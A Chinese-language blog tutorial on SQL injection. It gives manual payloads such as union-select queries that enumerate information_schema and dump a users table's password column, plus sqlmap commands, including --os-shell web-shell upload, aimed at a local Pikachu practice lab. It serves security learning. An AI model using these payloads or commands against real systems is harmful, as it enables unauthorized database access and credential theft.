前言
記錄一些注入思路和經(jīng)常使用的工具,后續(xù)有用到新的工具和總結(jié)新的方法再繼續(xù)補充。
如何測試與利用注入點
手工
下面的現(xiàn)象是在說存在注入點后的現(xiàn)象,如果服務(wù)端有防護手段就需要另外的手段繞過。
老方法:
單引號
現(xiàn)象:出現(xiàn)數(shù)據(jù)庫報錯。
or 1=1--
現(xiàn)象:正常訪問頁面或者跟多數(shù)據(jù)一起展現(xiàn)出來了。
and 1=1--
現(xiàn)象:正常訪問頁面。
and 1=2--
現(xiàn)象:不會顯示任何內(nèi)容或者會看到報錯信息,這取決于服務(wù)端代碼是如何寫的。
order by n
現(xiàn)象:判斷該表的字段數(shù)量,直到?jīng)]有報錯即order by后面那個n就是字段數(shù)
union
前提:知道表的字段數(shù)量,所以可以先使用上面的order by進行測試字段數(shù)
payload:union select user(),database()--
現(xiàn)象:若存在注入點,這里的union使用的地方通常是可以展示多個數(shù)據(jù)的地方,因為聯(lián)合出來的數(shù)據(jù)會很多條,若存在注入點union注入的能力會十分強大。
MySQL5.0以上有information_schema數(shù)據(jù)庫信息
獲取所有數(shù)據(jù)庫名:
union select 1,group_concat(schema_name) from information_schema.schemata
獲取當前數(shù)據(jù)庫所有表名:
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
獲取某些表的所有列名:
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
其中table_name=0x7573657273為十六進制,這個不轉(zhuǎn)成十六進制也可以table_name="users"
獲取某表的所有字段數(shù)據(jù):
' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users
0x7c表示 | 符號,其實就是用過|將所有字段數(shù)據(jù)拼接到一起進行顯示
注入思路
工具
以下是一些工具注入手段。
(在Github或谷歌搜索都能搜到)
Pongolin(穿山甲)
Havij(蘿卜頭)
來自國外的,比較經(jīng)典且實用,就是注冊的時候有點麻煩,可以通過報錯的信息發(fā)現(xiàn)缺少什么組件去網(wǎng)上直接找解決方法即可。
可以執(zhí)行后端數(shù)據(jù)庫指紋識別,檢索DBMS用戶和密碼哈希,轉(zhuǎn)儲表和列,從數(shù)據(jù)庫獲取
數(shù)據(jù),執(zhí)行SQL語句甚至訪問底層文件系統(tǒng)并發(fā)出操作系統(tǒng)級命令
sqlmap
下載地址:https://github.com/sqlmapproject/sqlmap
介紹:是一個開源的滲透工具。使用python2.7開發(fā)的,所以我們使用的時候需要用python2?;蛘咧苯尤ali系統(tǒng)使用,kali自帶了sqlmap工具。而且他的參數(shù)都是直接添加即可,沒有順序可言,就很方便。
執(zhí)行命令后可能會提示,下面使用簡單的-u對一個網(wǎng)址進行測試作為示例入門:
1:sqlmap測試出來時哪個數(shù)據(jù)庫的時候會提示你是否還繼續(xù)測試其他數(shù)據(jù)庫的payload注入語句,這里一般輸入n,你不放心就可以y
2:沒有設(shè)置level和risk的話就會詢問你是否默認都為等級1
3:找到注入的參數(shù)后就會詢問你是否還要繼續(xù)找其他注入?yún)?shù),這里就看自己需求
出結(jié)果:
開始介紹參數(shù)使用與示例
-r
執(zhí)行命令:python2 sqlmap.py -r 數(shù)據(jù)包文件
-u
執(zhí)行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"
-m
執(zhí)行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt
注意:若你使用的url都是同一個ip地址下的網(wǎng)址的話,在測試過程中,會出現(xiàn)問你是否跳過同一個ip下的另一個url網(wǎng)址測試,這時候需要你選擇否來繼續(xù)測試你文件中的下一個url網(wǎng)址,如果不是同ip僅僅只是詢問你確認該網(wǎng)址。如下圖就是同一個ip下的兩個網(wǎng)址進行測試,輪到下一個的時候會詢問你是否跳過,我們要測試的肯定一般都不會跳過,所以選擇否。
--level
執(zhí)行命令:按照上面的執(zhí)行語句加一句 [--level 等級] 即可,如下
python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"
注意:比如你寫了level 3,那么在詢問你的時候就會是 level 3,但是risk還是默認1,如下圖
--risk
執(zhí)行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"
同理注意:比如你寫了risk3,那么在詢問你的時候就會是 risk3,但是level還是默認1,很容易發(fā)現(xiàn),如多l(xiāng)evel 和 risk都定義了參數(shù)等級那就不會按照默認的等級來。
通常情況下使用level 3 risk 3就可以。
-v
顯示詳細信息的意思,ERBOSE信息級別: 0-6 (缺省默認1),其值具體含義:
“0”只顯示python錯誤以及嚴重的信息;
"1"同時顯示基本信息和警告信息(默認);
“2”同時顯示debug信息;
“3”同時顯示注入的payload;
“4”同時顯示HTTP請求;
“5”同時顯示HTTP響應(yīng)頭;
“6”同時顯示HTTP響應(yīng)頁面;
如果想看到sqlmap發(fā)送的測試payload最好的等級就是3。設(shè)置為5的話,可以看到http相應(yīng)信息,比較詳細。
執(zhí)行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3
學到這里其實已經(jīng)發(fā)現(xiàn)我們的參數(shù)逐漸完善了,基本的語句就是上面的例子↑
-p
-p就是指定你注入的參數(shù),比如id是一個注入點,那我們在測試的時候就可以指定id參數(shù),-p id,這樣測試會讓測試時間大大減少。不管是post數(shù)據(jù)包還是get的url都是可以使用-p 直接指定注入?yún)?shù)。
--threads
-batch-smart
智能判斷測試,自行尋找注入點進行測試 (該命令很少用)
這個智能指令,會將所有數(shù)據(jù)庫全部扒一遍,并且會將每一步的信息和數(shù)據(jù)全部給我們保存下來,在如下目錄中
記住,這個參數(shù)測出來的信息會很多,數(shù)據(jù)庫、表等等都會出來。
--os-shell
個人不推薦使用。(動靜大不說,等待時間還比較久)
前提條件
該功能耗費時間比較長。
原理:
就是用into outfile函數(shù)將一個可以用來上傳的php文件寫到網(wǎng)站的根目錄下
然后利用tmpukjhb.php上傳了一個tmpbezal.php的文件,tmpbezal.php這個文件可以用來執(zhí)行系統(tǒng)命令,并且將結(jié)果返回出來
--mobile
直接加上--mobile即可,他會自動讓你選擇手機型號,不用自己輸入手機型號(所以也有局限性,但是也不算局限性,市面這么多手機,只要能夠讓網(wǎng)站判斷是手機訪問的即可了)
tamper插件
使用方法:
sqlmap.py -u url --tamper "base64encode.py";
獲取數(shù)據(jù)的相關(guān)參數(shù)
以下參數(shù)都是直接加上去即可,不用另外添加數(shù)據(jù)
例子:http://192.168.121.151/sql.php?id=1 --dbs
--dbs # 會獲取所有的數(shù)據(jù)庫
--current-user #顯示當前用戶
--current-db #當前連接數(shù)據(jù)庫名
--is-dba #判斷當前的用戶是否為管理員
--users #列出數(shù)據(jù)庫所有所有用戶
暫時了解這么多,后面繼續(xù)進階了再繼續(xù)學習補充...
本文來自博客園https://www.cnblogs.com/dhan/p/18290507,作者:竹等寒,轉(zhuǎn)載請注明原文鏈接。